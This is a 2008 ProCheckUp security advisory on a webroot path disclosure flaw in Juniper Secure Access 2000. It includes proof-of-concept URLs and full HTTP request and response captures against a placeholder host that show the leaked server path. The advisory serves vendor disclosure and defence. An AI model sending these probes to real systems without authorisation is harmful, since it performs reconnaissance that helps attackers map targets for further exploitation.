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ProCheckUp Security Advisory 2007.42

ProCheckUp Security Advisory 2007.42
Posted Feb 28, 2008
Authored by ProCheckUp, Richard Brain | Site procheckup.com

Juniper Networks Secure Access 2000 versions prior to 5.5R3 suffer from a webroot disclosure flaw when parameters are stripped from the remediate.cgi script.

tags | advisory, cgi
systems | juniper
MD5 | f4a33c2f7d2e55d82f70f3ae73a4bc62

ProCheckUp Security Advisory 2007.42

Change Mirror Download
PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Low

Description:

By simply requesting the 'remediate.cgi' script omitting certain
parameters, the web server returns the physical path of the webroot
('/home/webserver/htdocs/') within a "Execute failed" error message.


Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000)
5.5R1 (build 11711)


Proof of concept:

https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth


Consequences:

A remote attacker could recover information with regards to the target
site's directory structure.

This kind of information might be useful to attackers in certain
scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.


Fix:

Juniper Networks was aware of this issue which they addressed on version
6.0R1. However, we decided to release this advisory due to lack of
information regarding this vulnerability in the public domain.


References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*


COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script :
/home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed,
errcode = 1


COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*


COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script :
/home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed,
errcode = 1


Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed
to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.

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